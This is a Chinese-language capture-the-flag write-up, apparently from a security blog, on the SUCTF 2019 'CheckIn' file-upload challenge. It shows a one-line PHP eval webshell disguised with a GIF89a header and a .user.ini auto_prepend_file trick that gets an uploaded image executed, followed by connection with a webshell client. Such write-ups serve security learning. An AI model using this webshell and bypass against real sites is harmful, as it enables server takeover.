SUCTF 2019 CheckIn

网络安全·CTF · 2023-12-10 · 808 人浏览

信息收集

打开题目,发现文件上传位置,猜测考点为文件上传。
Pasted image 20231210163859.png

尝试上传一句话木马1.php。
Pasted image 20231210163957.png
不允许的后缀,经过测试其他绕过后缀也无法上传。
Pasted image 20231210164054.png
图片头检测,在一句话前加上GIF89a。

Pasted image 20231210164204.png
PHP标签检测,使用<script language="php">@eval($_POST[cmd]);</script>作为一句话木马。

Pasted image 20231210164314.png
成功上传,但是由于后缀为png无法调用PHP引擎进行解析。

考虑使用.user.ini进行绕过。

.user.ini

.user.ini这个文件在PHP 5.3.0被加入到PHP中,他的作用类似Apache中的.htaccsee文件,其中两个有趣的设置:auto_prepend_fileauto_append_file

我们指定一个文件(如a.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),类似于在index.php中插入一句:require(./a.jpg);

这两个设置的区别只是在于auto_prepend_file是在文件前插入;auto_append_file在文件最后插入(当文件调用的有exit()时该设置无效)

Payload

上传.user.ini,内容为

GIF98a
auto_prepend_file=1.png

Pasted image 20231210164815.png
使用蚁剑访问http://xxx/uploads/c55e0cb61f7eb238df09ae30a206e5ee/index.php
Pasted image 20231210164952.png
成功链接。

文件上传 绕过 PHP 808 Views
本站已在互联网运行了 Theme Jasmine by Kent Liao